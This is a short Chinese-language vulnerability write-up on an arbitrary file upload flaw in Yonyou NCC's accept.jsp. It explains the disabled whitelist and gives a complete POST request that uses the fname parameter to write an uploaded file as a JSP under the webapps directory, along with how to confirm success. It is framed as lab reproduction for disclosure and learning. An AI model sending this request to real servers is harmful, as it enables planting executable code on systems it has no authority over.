用友ncc accept.jsp漏洞
漏洞原理
accept.jsp源码中设置了白名单和黑名单的代码,但是白名单代码被注释掉了(默认被注释)
只启用了黑名单。文件保存的函数fname又被定义为可以随便更改。
那可以上传白名单内的文件名,然后通过传参将文件保存的名字进行修改。以及修改文件位置
(具体源码不能够在平台展示出)
漏洞靶场复现
以下复现常见均在靶场上进行,请获得授权后在开展渗透
访问页面 http://ip:prot//aim/equipmap/accept.jsp
页面存在存在 则表明漏洞可能能够利用
通过POST发送数据包
POST /aim/equipmap/accept.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 370
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------16314487820932200903769468567
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
-----------------------------16314487820932200903769468567
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain
win
-----------------------------16314487820932200903769468567
Content-Disposition: form-data; name="fname"
webappsnc_webtest.jsp
-----------------------------16314487820932200903769468567--
解析一下请求的意思
这里值得注意的是 因为安装环境不同,所以可能会遇到保存的路径不一致的情况,这时候需要猜测服务器的路径。(但是默认为POC中的路径)
然后根据响应包是否包含parent.afterUpload(1)来判断文件是否上传成功
上传成功访问
以上复现均在靶场上实现!网络不是法外之地!请遵循中华人民共和国网络安全法